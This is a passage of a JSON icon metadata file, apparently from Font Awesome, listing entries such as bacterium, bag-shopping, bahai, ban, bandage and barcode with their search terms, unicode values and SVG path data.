        "path": "M304.9 .7c-9.6-2.7-19.5 2.8-22.3 12.4l-4.3 15.2c-8.3-.6-16.8 0-25.2 1.9c-7.3 1.7-14.3 3.5-21.1 5.5l-5.5-12.7c-3.9-9.1-14.5-13.4-23.6-9.5s-13.4 14.5-9.5 23.6l4.4 10.4c-16.6 6.7-31.7 14.4-45.4 22.8L147 62c-5.5-8.3-16.7-10.5-25-5s-10.5 16.7-5 25l6 9c-13.7 11-25.5 22.8-35.8 34.9l-10-8c-7.8-6.2-19.1-5-25.3 2.8s-5 19.1 2.8 25.3L65.9 155c-1.8 2.8-3.5 5.7-5.1 8.5c-6.6 11.4-11.8 22.6-16 33l-8-3.2c-9.2-3.7-19.7 .8-23.4 10s.8 19.7 10 23.4l10.4 4.2c-.2 .8-.4 1.5-.5 2.3c-2.2 9.3-3.4 17.3-4.1 23.4c-.4 3.1-.6 5.7-.8 7.8c-.1 1.1-.1 2-.2 2.8l-.1 1.1 0 .5 0 .2 0 .1c0 0 0 .1 29.1 1l-.1 0L28 269.3c-.1 3.1 0 6.1 .2 9.1l-15.2 4.3C3.5 285.4-2 295.4 .7 304.9s12.7 15.1 22.3 12.4l15.6-4.5c7.6 13.6 18.9 25 32.6 32.6L66.7 361c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.3-12.4l4.3-15.2c1.2 .1 2.4 .2 3.6 .2c15.6 .5 30.3-3.3 43-10.2l9 9c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-7.2-7.2c9.3-12.6 15.2-27.8 16.3-44.5l7.1 3c9.1 3.9 19.7-.3 23.6-9.5s-.3-19.7-9.5-23.6l-8.6-3.7c6.4-9.9 17.3-22.4 36.9-33.3l1.3 4.4c2.7 9.6 12.7 15.1 22.3 12.4s15.1-12.7 12.4-22.3l-2.3-8.1c3.8-1.1 7.7-2.1 11.9-3.1c11.6-2.7 22.1-7.7 31.1-14.4l7.2 7.2c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-9-9c7.6-13.9 11.3-30.1 10.1-46.6l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3S370.6 64 361 66.7l-15.6 4.5c-7.7-13.9-19.1-25.1-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3zM112 272l-48-1.5 0 0c11.7 .4 27.3 .9 48 1.6zm16-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-48a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM322.7 489c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.2-12.4l4.3-15.2c8.3 .6 16.8 0 25.2-1.9c7.3-1.7 14.3-3.5 21.1-5.5l5.5 12.7c3.9 9.1 14.5 13.4 23.6 9.5s13.4-14.5 9.5-23.6l-4.4-10.4c16.6-6.7 31.7-14.4 45.4-22.8L493 450c5.5 8.3 16.7 10.5 25 5s10.5-16.7 5-25l-6-9c13.7-11 25.5-22.8 35.8-34.9l10 8c7.8 6.2 19.1 5 25.3-2.8s5-19.1-2.8-25.3L574.1 357c1.8-2.8 3.5-5.7 5.1-8.5c6.6-11.4 11.8-22.6 16-33l8 3.2c9.2 3.7 19.7-.8 23.4-10s-.8-19.7-10-23.4l-10.4-4.2c.2-.8 .4-1.5 .5-2.3c2.2-9.3 3.4-17.3 4.1-23.4c.4-3.1 .6-5.7 .8-7.8c.1-1.1 .1-2 .2-2.8l.1-1.1 0-.5 0-.2 0-.1c0 0 0-.1-29.1-1l.1 0 29.1 .9c.1-3.1 0-6.1-.2-9.1l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3s-12.7-15.1-22.3-12.4l-15.6 4.5c-7.6-13.6-18.9-25-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3s-19.5 2.8-22.3 12.4l-4.3 15.2c-1.2-.1-2.4-.2-3.6-.2c-15.6-.5-30.3 3.3-43 10.2l-9-9c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l7.2 7.2c-9.3 12.6-15.2 27.8-16.3 44.5l-7.1-3c-9.1-3.9-19.7 .3-23.6 9.5s.3 19.7 9.5 23.6l8.6 3.7c-6.4 9.9-17.3 22.4-36.9 33.3l-1.3-4.4c-2.7-9.6-12.7-15.1-22.3-12.4s-15.1 12.7-12.4 22.3l2.3 8.1c-3.8 1.1-7.7 2.1-11.9 3.1c-11.6 2.7-22.1 7.7-31.1 14.4l-7.2-7.2c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l9 9c-7.6 13.9-11.3 30.1-10.1 46.6l-15.2 4.3c-9.6 2.7-15.1 12.7-12.4 22.2s12.7 15.1 22.3 12.4l15.6-4.5c7.7 13.9 19.1 25.1 32.6 32.6L322.7 489zM576 241.5l0 0c-11.7-.4-27.3-.9-48-1.6l48 1.5zM448 384a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z"
      }
    },
    "free": ["solid"]
  },
  "bacterium": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05a"]
      }
    },
    "changes": [
      "5.13.0",
      "5.13.1",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "antibiotic",
        "antibody",
        "covid-19",
        "health",
        "organism",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e05a",
    "label": "Bacterium",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M423.1 30.6c3.6-12.7-3.7-26-16.5-29.7s-26 3.7-29.7 16.5l-4.2 14.7c-9.8-.4-19.9 .5-29.9 2.8c-12.1 2.8-23.7 5.9-34.9 9.4l-5.9-13.7c-5.2-12.2-19.3-17.8-31.5-12.6s-17.8 19.3-12.6 31.5l4.9 11.3c-22 9.4-42 20.1-60.2 31.8L196 82.7c-7.4-11-22.3-14-33.3-6.7s-14 22.3-6.7 33.3l7.8 11.6c-18 15-33.7 30.8-47.3 47.1L103 157.3c-10.4-8.3-25.5-6.6-33.7 3.7s-6.6 25.5 3.7 33.7l15 12c-2.1 3.2-4.1 6.5-6 9.7c-9.4 15.7-17 31-23.2 45.3l-9.9-3.9c-12.3-4.9-26.3 1.1-31.2 13.4s1.1 26.3 13.4 31.2l11.6 4.6c-.3 1.1-.6 2.1-.9 3.1c-3.5 12.5-5.7 23.2-7.1 31.3c-.7 4.1-1.2 7.5-1.6 10.3c-.2 1.4-.3 2.6-.4 3.6l-.1 1.4-.1 .6 0 .3 0 .1c0 0 0 .1 39.2 3.7l0 0-39.2-3.6c-.5 5-.6 10-.4 14.9l-14.7 4.2C4.7 380.6-2.7 393.8 .9 406.6s16.9 20.1 29.7 16.5l13.8-3.9c10.6 20.7 27.6 37.8 48.5 48.5l-3.9 13.7c-3.6 12.7 3.7 26 16.5 29.7s26-3.7 29.7-16.5l4.2-14.7c23.8 1 46.3-5.5 65.1-17.6L215 473c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c9.1-14.1 15.1-30.5 17-48.3l.1-.8c.3-1.7 1-5.1 2.3-9.8l.2-.8 12.6 5.4c12.2 5.2 26.3-.4 31.5-12.6s-.4-26.3-12.6-31.5l-11.3-4.8c9.9-14.9 24.9-31.6 48.6-46l2.1 7.5c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7L371 259.2c6.9-2.2 14.3-4.3 22.2-6.1c12.9-3 24.7-8 35.2-14.8L439 249c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c12.2-19 18.6-41.6 17.6-65.1l14.7-4.2c12.7-3.6 20.1-16.9 16.5-29.7s-16.9-20.1-29.7-16.5l-13.7 3.9c-10.8-21.2-28-38-48.5-48.5l3.9-13.8zM92.1 363.3l0 0L144 368l-51.9-4.7zM112 320a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM240 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M423.1 30.6c3.6-12.7-3.7-26-16.5-29.7s-26 3.7-29.7 16.5l-4.2 14.7c-9.8-.4-19.9 .5-29.9 2.8c-12.1 2.8-23.7 5.9-34.9 9.4l-5.9-13.7c-5.2-12.2-19.3-17.8-31.5-12.6s-17.8 19.3-12.6 31.5l4.9 11.3c-22 9.4-42 20.1-60.2 31.8L196 82.7c-7.4-11-22.3-14-33.3-6.7s-14 22.3-6.7 33.3l7.8 11.6c-18 15-33.7 30.8-47.3 47.1L103 157.3c-10.4-8.3-25.5-6.6-33.7 3.7s-6.6 25.5 3.7 33.7l15 12c-2.1 3.2-4.1 6.5-6 9.7c-9.4 15.7-17 31-23.2 45.3l-9.9-3.9c-12.3-4.9-26.3 1.1-31.2 13.4s1.1 26.3 13.4 31.2l11.6 4.6c-.3 1.1-.6 2.1-.9 3.1c-3.5 12.5-5.7 23.2-7.1 31.3c-.7 4.1-1.2 7.5-1.6 10.3c-.2 1.4-.3 2.6-.4 3.6l-.1 1.4-.1 .6 0 .3 0 .1c0 0 0 .1 39.2 3.7l0 0-39.2-3.6c-.5 5-.6 10-.4 14.9l-14.7 4.2C4.7 380.6-2.7 393.8 .9 406.6s16.9 20.1 29.7 16.5l13.8-3.9c10.6 20.7 27.6 37.8 48.5 48.5l-3.9 13.7c-3.6 12.7 3.7 26 16.5 29.7s26-3.7 29.7-16.5l4.2-14.7c23.8 1 46.3-5.5 65.1-17.6L215 473c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c9.1-14.1 15.1-30.5 17-48.3l.1-.8c.3-1.7 1-5.1 2.3-9.8l.2-.8 12.6 5.4c12.2 5.2 26.3-.4 31.5-12.6s-.4-26.3-12.6-31.5l-11.3-4.8c9.9-14.9 24.9-31.6 48.6-46l2.1 7.5c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7L371 259.2c6.9-2.2 14.3-4.3 22.2-6.1c12.9-3 24.7-8 35.2-14.8L439 249c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c12.2-19 18.6-41.6 17.6-65.1l14.7-4.2c12.7-3.6 20.1-16.9 16.5-29.7s-16.9-20.1-29.7-16.5l-13.7 3.9c-10.8-21.2-28-38-48.5-48.5l3.9-13.8zM92.1 363.3l0 0L144 368l-51.9-4.7zM112 320a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM240 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "bag-shopping": {
    "aliases": {
      "names": ["shopping-bag"],
      "unicodes": {
        "secondary": ["10f290"]
      }
    },
    "changes": [
      "4.5.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["buy", "checkout", "grocery", "payment", "purchase"]
    },
    "styles": ["solid"],
    "unicode": "f290",
    "label": "Bag Shopping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 112c0-35.3 28.7-64 64-64s64 28.7 64 64v48H160V112zm-48 48H48c-26.5 0-48 21.5-48 48V416c0 53 43 96 96 96H352c53 0 96-43 96-96V208c0-26.5-21.5-48-48-48H336V112C336 50.1 285.9 0 224 0S112 50.1 112 112v48zm24 48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm152 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 112c0-35.3 28.7-64 64-64s64 28.7 64 64v48H160V112zm-48 48H48c-26.5 0-48 21.5-48 48V416c0 53 43 96 96 96H352c53 0 96-43 96-96V208c0-26.5-21.5-48-48-48H336V112C336 50.1 285.9 0 224 0S112 50.1 112 112v48zm24 48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm152 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "bahai": {
    "aliases": {
      "names": ["haykal"],
      "unicodes": {
        "secondary": ["10f666"]
      }
    },
    "changes": ["5.3.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bahai", "bahá'í", "star"]
    },
    "styles": ["solid"],
    "unicode": "f666",
    "label": "Bahai",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c14.5 0 27.2 9.7 30.9 23.8l23.9 89.6 75.9-53.3c11.9-8.3 27.8-7.6 39 1.7s14.6 24.9 8.4 38.1l-39.3 84 92.4 8c14.4 1.2 26.2 12 28.8 26.3s-4.9 28.5-18 34.6l-84.1 39.1 65.7 65.5c10.3 10.2 12.4 26.1 5.1 38.7s-22 18.7-36 14.9L391 386.8l8.2 92.4c1.3 14.4-7.3 27.9-20.9 32.9s-28.9 .1-37.2-11.7l-53.1-76-53.1 76c-8.3 11.9-23.6 16.7-37.2 11.7s-22.2-18.5-20.9-32.9l8.2-92.4L95.4 410.9c-14 3.8-28.8-2.3-36-14.9s-5.2-28.4 5.1-38.7l65.7-65.5L46 252.7c-13.1-6.1-20.5-20.3-18-34.6s14.3-25.1 28.8-26.3l92.4-8-39.3-84c-6.1-13.1-2.7-28.8 8.4-38.1s27.1-10 39-1.7l75.9 53.3 23.9-89.6C260.8 9.7 273.5 0 288 0zm0 156.2l-4.8 18c-2.7 10.1-10.2 18.2-20 21.8s-20.8 2.1-29.3-3.9l-15.2-10.7 7.9 16.8c4.4 9.5 4 20.5-1.3 29.6s-14.5 15-25 15.9l-18.5 1.6 16.8 7.8c9.5 4.4 16.2 13.2 18 23.5s-1.5 20.8-8.9 28.2l-13.2 13.1 17.9-4.8c10.1-2.7 20.9-.3 28.9 6.4s12.2 16.9 11.3 27.3l-1.6 18.5 10.6-15.2c6-8.6 15.8-13.7 26.2-13.7s20.2 5.1 26.2 13.7l10.6 15.2-1.6-18.5c-.9-10.4 3.3-20.6 11.3-27.3s18.8-9.1 28.9-6.4l17.9 4.8-13.2-13.1c-7.4-7.4-10.7-17.9-8.9-28.2s8.5-19.1 18-23.5l16.8-7.8-18.5-1.6c-10.4-.9-19.7-6.8-25-15.9s-5.7-20.1-1.3-29.6l7.9-16.8-15.2 10.7c-8.6 6-19.5 7.5-29.3 3.9s-17.3-11.7-20-21.8l-4.8-18z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0c14.5 0 27.2 9.7 30.9 23.8l23.9 89.6 75.9-53.3c11.9-8.3 27.8-7.6 39 1.7s14.6 24.9 8.4 38.1l-39.3 84 92.4 8c14.4 1.2 26.2 12 28.8 26.3s-4.9 28.5-18 34.6l-84.1 39.1 65.7 65.5c10.3 10.2 12.4 26.1 5.1 38.7s-22 18.7-36 14.9L391 386.8l8.2 92.4c1.3 14.4-7.3 27.9-20.9 32.9s-28.9 .1-37.2-11.7l-53.1-76-53.1 76c-8.3 11.9-23.6 16.7-37.2 11.7s-22.2-18.5-20.9-32.9l8.2-92.4L95.4 410.9c-14 3.8-28.8-2.3-36-14.9s-5.2-28.4 5.1-38.7l65.7-65.5L46 252.7c-13.1-6.1-20.5-20.3-18-34.6s14.3-25.1 28.8-26.3l92.4-8-39.3-84c-6.1-13.1-2.7-28.8 8.4-38.1s27.1-10 39-1.7l75.9 53.3 23.9-89.6C260.8 9.7 273.5 0 288 0zm0 156.2l-4.8 18c-2.7 10.1-10.2 18.2-20 21.8s-20.8 2.1-29.3-3.9l-15.2-10.7 7.9 16.8c4.4 9.5 4 20.5-1.3 29.6s-14.5 15-25 15.9l-18.5 1.6 16.8 7.8c9.5 4.4 16.2 13.2 18 23.5s-1.5 20.8-8.9 28.2l-13.2 13.1 17.9-4.8c10.1-2.7 20.9-.3 28.9 6.4s12.2 16.9 11.3 27.3l-1.6 18.5 10.6-15.2c6-8.6 15.8-13.7 26.2-13.7s20.2 5.1 26.2 13.7l10.6 15.2-1.6-18.5c-.9-10.4 3.3-20.6 11.3-27.3s18.8-9.1 28.9-6.4l17.9 4.8-13.2-13.1c-7.4-7.4-10.7-17.9-8.9-28.2s8.5-19.1 18-23.5l16.8-7.8-18.5-1.6c-10.4-.9-19.7-6.8-25-15.9s-5.7-20.1-1.3-29.6l7.9-16.8-15.2 10.7c-8.6 6-19.5 7.5-29.3 3.9s-17.3-11.7-20-21.8l-4.8-18z"
      }
    },
    "free": ["solid"]
  },
  "baht-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e0ac",
    "label": "Baht Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M144 0c-17.7 0-32 14.3-32 32V64H37.6C16.8 64 0 80.8 0 101.6V224v41.7V288 406.3c0 23 18.7 41.7 41.7 41.7H112v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c61.9 0 112-50.1 112-112c0-40.1-21.1-75.3-52.7-95.1C280.3 222.6 288 200.2 288 176c0-61.9-50.1-112-112-112V32c0-17.7-14.3-32-32-32zM112 128v96H64V128h48zm64 96V128c26.5 0 48 21.5 48 48s-21.5 48-48 48zm-64 64v96H64V288h48zm64 96V288h32c26.5 0 48 21.5 48 48s-21.5 48-48 48H176z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M144 0c-17.7 0-32 14.3-32 32V64H37.6C16.8 64 0 80.8 0 101.6V224v41.7V288 406.3c0 23 18.7 41.7 41.7 41.7H112v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c61.9 0 112-50.1 112-112c0-40.1-21.1-75.3-52.7-95.1C280.3 222.6 288 200.2 288 176c0-61.9-50.1-112-112-112V32c0-17.7-14.3-32-32-32zM112 128v96H64V128h48zm64 96V128c26.5 0 48 21.5 48 48s-21.5 48-48 48zm-64 64v96H64V288h48zm64 96V288h32c26.5 0 48 21.5 48 48s-21.5 48-48 48H176z"
      }
    },
    "free": ["solid"]
  },
  "ban": {
    "aliases": {
      "names": ["cancel"],
      "unicodes": {
        "composite": ["1f6ab"],
        "secondary": ["10f05e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "abort",
        "ban",
        "block",
        "cancel",
        "delete",
        "entry",
        "forbidden",
        "hide",
        "no",
        "not",
        "prohibit",
        "prohibited",
        "remove",
        "stop",
        "trash"
      ]
    },
    "styles": ["solid"],
    "unicode": "f05e",
    "label": "Ban",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M367.2 412.5L99.5 144.8C77.1 176.1 64 214.5 64 256c0 106 86 192 192 192c41.5 0 79.9-13.1 111.2-35.5zm45.3-45.3C434.9 335.9 448 297.5 448 256c0-106-86-192-192-192c-41.5 0-79.9 13.1-111.2 35.5L412.5 367.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M367.2 412.5L99.5 144.8C77.1 176.1 64 214.5 64 256c0 106 86 192 192 192c41.5 0 79.9-13.1 111.2-35.5zm45.3-45.3C434.9 335.9 448 297.5 448 256c0-106-86-192-192-192c-41.5 0-79.9 13.1-111.2 35.5L412.5 367.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "ban-smoking": {
    "aliases": {
      "names": ["smoking-ban"],
      "unicodes": {
        "composite": ["1f6ad"],
        "secondary": ["10f54d"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ban",
        "cancel",
        "forbidden",
        "no",
        "no smoking",
        "non-smoking",
        "not",
        "prohibited",
        "smoking"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54d",
    "label": "Ban Smoking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M99.5 144.8L178.7 224l96 96 92.5 92.5C335.9 434.9 297.5 448 256 448C150 448 64 362 64 256c0-41.5 13.1-79.9 35.5-111.2zM333.3 288l-32-32H384v32H333.3zm32 32H400c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H269.3L144.8 99.5C176.1 77.1 214.5 64 256 64c106 0 192 86 192 192c0 41.5-13.1 79.9-35.5 111.2L365.3 320zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM272 96c-8.8 0-16 7.2-16 16c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16s7.2 16 16 16s16-7.2 16-16c0-26.5-21.5-48-48-48H304c-8.8 0-16-7.2-16-16s-7.2-16-16-16zM229.5 320l-96-96H112c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H229.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M99.5 144.8L178.7 224l96 96 92.5 92.5C335.9 434.9 297.5 448 256 448C150 448 64 362 64 256c0-41.5 13.1-79.9 35.5-111.2zM333.3 288l-32-32H384v32H333.3zm32 32H400c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H269.3L144.8 99.5C176.1 77.1 214.5 64 256 64c106 0 192 86 192 192c0 41.5-13.1 79.9-35.5 111.2L365.3 320zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM272 96c-8.8 0-16 7.2-16 16c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16s7.2 16 16 16s16-7.2 16-16c0-26.5-21.5-48-48-48H304c-8.8 0-16-7.2-16-16s-7.2-16-16-16zM229.5 320l-96-96H112c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H229.5z"
      }
    },
    "free": ["solid"]
  },
  "bandage": {
    "aliases": {
      "names": ["band-aid"],
      "unicodes": {
        "composite": ["1fa79"],
        "secondary": ["10f462"]
      }
    },
    "changes": [
      "5.0.7",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["adhesive bandage", "bandage", "boo boo", "first aid", "ouch"]
    },
    "styles": ["solid"],
    "unicode": "f462",
    "label": "Bandage",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 416h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H480V416zM448 96H192V416H448V96zM64 96C28.7 96 0 124.7 0 160V352c0 35.3 28.7 64 64 64h96V96H64zM248 208a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM248 304a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 416h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H480V416zM448 96H192V416H448V96zM64 96C28.7 96 0 124.7 0 160V352c0 35.3 28.7 64 64 64h96V96H64zM248 208a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM248 304a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "bandcamp": {
    "changes": ["4.7.0", "5.0.0", "5.13.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d5",
    "label": "Bandcamp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"
      }
    },
    "free": ["brands"]
  },
  "bangladeshi-taka-sign": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bdt", "currency", "tk"]
    },
    "styles": ["solid"],
    "unicode": "e2e6",
    "label": "Bangladeshi Taka Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M36 32.2C18.4 30.1 2.4 42.5 .2 60S10.5 93.6 28 95.8l7.9 1c16 2 28 15.6 28 31.8V160H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V384c0 53 43 96 96 96h32c106 0 192-86 192-192V256c0-53-43-96-96-96H272c-17.7 0-32 14.3-32 32s14.3 32 32 32h16c17.7 0 32 14.3 32 32v32c0 70.7-57.3 128-128 128H160c-17.7 0-32-14.3-32-32V224h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V128.5c0-48.4-36.1-89.3-84.1-95.3l-7.9-1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M36 32.2C18.4 30.1 2.4 42.5 .2 60S10.5 93.6 28 95.8l7.9 1c16 2 28 15.6 28 31.8V160H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V384c0 53 43 96 96 96h32c106 0 192-86 192-192V256c0-53-43-96-96-96H272c-17.7 0-32 14.3-32 32s14.3 32 32 32h16c17.7 0 32 14.3 32 32v32c0 70.7-57.3 128-128 128H160c-17.7 0-32-14.3-32-32V224h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V128.5c0-48.4-36.1-89.3-84.1-95.3l-7.9-1z"
      }
    },
    "free": ["solid"]
  },
  "barcode": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f02a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["info", "laser", "price", "scan", "upc"]
    },
    "styles": ["solid"],
    "unicode": "f02a",
    "label": "Barcode",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 32C10.7 32 0 42.7 0 56V456c0 13.3 10.7 24 24 24H40c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H24zm88 0c-8.8 0-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16zm72 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H184zm96 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H280zM448 56V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H472c-13.3 0-24 10.7-24 24zm-64-8V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16s-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 32C10.7 32 0 42.7 0 56V456c0 13.3 10.7 24 24 24H40c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H24zm88 0c-8.8 0-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16zm72 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H184zm96 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H280zM448 56V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H472c-13.3 0-24 10.7-24 24zm-64-8V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16s-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "bars": {
    "aliases": {
      "names": ["navicon"],
      "unicodes": {
        "secondary": ["10f0c9"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
